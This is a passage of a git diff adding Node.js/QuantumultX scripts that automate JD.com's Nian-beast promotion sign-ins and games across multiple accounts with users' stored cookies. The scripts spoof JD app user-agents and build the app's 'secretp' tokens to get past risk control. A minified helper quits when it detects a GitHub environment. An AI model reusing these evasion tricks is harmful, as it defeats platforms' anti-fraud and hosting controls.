=== 0) { + const { level, maxLevel} = data.rv + $.level = level + $.maxLevel = maxLevel + console.log(`游戏完成成功,获得${data.rv.winAward + data.rv.firstWin}🧨,通关情况:${level}/${maxLevel}`) + } + else{ + console.log(`游戏开启失败,错误:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `https://code.chiang.fun/api/v1/jd/jdnian/read/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(2000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDNIAN_SHARECODES) { + if (process.env.JDNIAN_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDNIAN_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDNIAN_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function taskArGetUrl(function_id) { + let url = `https://arvractivity.jd.com/nian/${function_id}`; + return { + url, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + 'referer': 'https://h5.m.jd.com/babelDiy/Zeus/2ZUbtdUfe8ZTyCQrVecyjdNehHpL/index.html' + } + } +} +function taskArPostUrl(function_id, body = '') { + let url = `https://arvractivity.jd.com/nian/${function_id}`; + return { + url, + body: body, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + 'referer': 'https://h5.m.jd.com/babelDiy/Zeus/2ZUbtdUfe8ZTyCQrVecyjdNehHpL/index.html' + } + } +} +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_nian_sign.js b/activity/jd_nian_sign.js new file mode 100644 index 0000000..eaf9c50 --- /dev/null +++ b/activity/jd_nian_sign.js @@ -0,0 +1,506 @@ +/* +京东炸年兽签到任务🧨 +活动时间:2021-1-18至2021-2-11 +暂不加入品牌会员 +地址:https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html +活动入口:京东app左侧浮动窗口 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东炸年兽签到任务🧨 +30 8 * * * jd_nian_sign.js, tag=京东炸年兽签到任务🧨, enabled=true + +================Loon============== +[Script] +cron "30 8 * * *" script-path=jd_nian_sign.js,tag=京东炸年兽签到任务🧨 + +===============Surge================= +京东炸年兽签到任务🧨 = type=cron,cronexp="30 8 * * *",wake-system=1,timeout=3600,script-path=jd_nian_sign.js + +============小火箭========= +京东炸年兽签到任务🧨 = type=cron,script-path=jd_nian_sign.js, cronexpr="30 8 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东炸年兽签到任务🧨'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdNian() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdNian() { + try { + await getHomeData() + if(!$.secretp) return + await queryMaterials2() + await $.wait(2000) + await getHomeData(true) + await showMsg() + } catch (e) { + $.logErr(e) + } +} +function encode(data, aa, extraData) { + const temp = { + "extraData": JSON.stringify(extraData), + "businessData": JSON.stringify(data), + "secretp": aa, + } + return { "ss": (JSON.stringify(temp)) }; +} +function getRnd() { + return Math.floor(1e6 * Math.random()).toString(); +} +function showMsg() { + return new Promise(resolve => { + console.log('任务已做完!\n如有未完成的任务,请多执行几次。注:目前入会任务不会做') + console.log('如出现taskVos错误的,请更新USER_AGENTS.js或使用自定义UA功能') + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + if (new Date().getHours() === 23) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + + +function getHomeData(info=false) { + return new Promise((resolve) => { + $.post(taskPostUrl('nian_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + $.userInfo = data.data.result.homeMainInfo + $.secretp = $.userInfo.secretp; + if(!$.secretp){ + console.log(`账号被风控`) + message += `账号被风控,无法参与活动\n` + $.secretp = null + return + } + console.log(`当前爆竹${$.userInfo.raiseInfo.remainScore}🧨,下一关需要${$.userInfo.raiseInfo.nextLevelScore - $.userInfo.raiseInfo.curLevelStartScore}🧨`) + } + else{ + $.secretp = null + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function queryMaterials2() { + let body ={"qryParam":"[{\"type\":\"advertGroup\",\"mapTo\":\"homeFeedBannerT\",\"id\":\"05143017\"},{\"type\":\"advertGroup\",\"mapTo\":\"homeFeedBannerS\",\"id\":\"05144045\"},{\"type\":\"advertGroup\",\"mapTo\":\"homeFeedBannerA\",\"id\":\"05144046\"},{\"type\":\"advertGroup\",\"mapTo\":\"homeFeedBannerB\",\"id\":\"05144047\"},{\"type\":\"advertGroup\",\"mapTo\":\"domainShopData\",\"id\":\"05139136\"},{\"type\":\"advertGroup\",\"mapTo\":\"domainShopData2\",\"id\":\"05144271\"},{\"type\":\"advertGroup\",\"mapTo\":\"domainShopToT\",\"id\":\"05152048\"}]","activityId":"2cKMj86srRdhgWcKonfExzK4ZMBy","pageId":"","reqSrc":"","applyKey":"21beast"} + return new Promise(resolve => { + $.post(taskPostUrl("qryCompositeMaterials", body, "qryCompositeMaterials"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code==='0') { + let shopList = data.data.domainShopData2.list + let nameList = [] + $.canSign = true + for(let vo of shopList){ + if(nameList.includes(vo.name)) continue + nameList.push(vo.name) + console.log(`去做${vo.name}店铺任务`) + await signInRead(vo.link) + if(!$.canSign) break + await $.wait(2000) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function signInRead(shopSign) { + let body = {"shopSign":shopSign} + return new Promise(resolve => { + $.post(taskPostUrl("nian_shopSignInRead", body, "nian_shopSignInRead"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code===0 && data.data && data.data.result && !data.data.result.signInTag) { + console.log(`店铺未签到,去签到`) + await signInWrite(shopSign) + } else{ + console.log(`店铺已签到过`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function signInWrite(shopSign) { + let temp = { + "shopSign": shopSign, + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + shopSign:shopSign + } + return new Promise(resolve => { + $.post(taskPostUrl("nian_shopSignInWrite", body, "nian_shopSignInWrite"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + if(data.data.result.score) + console.log(`签到成功,获得${data.data.result.score}爆竹🧨`) + else + console.log(`签到成功,获得空气`) + } + else{ + $.canSign = false + console.log(data.data.bizMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function pkInfo() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_getHomeData", {}, "nian_pk_getHomeData"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pkCollectScore() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_collectScore", {}, "nian_pk_collectScore"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pkTaskDetail() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_getTaskDetail", {}, "nian_pk_getTaskDetail"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pkAssignGroup(inviteId) { + let temp = { + "confirmFlag": 1, + "inviteId": inviteId, + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + inviteId:inviteId + } + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_assistGroup", body, "nian_pk_assistGroup"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `https://code.chiang.fun/api/v1/jd/jdnian/read/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(2000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDNIAN_SHARECODES) { + if (process.env.JDNIAN_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDNIAN_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDNIAN_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new 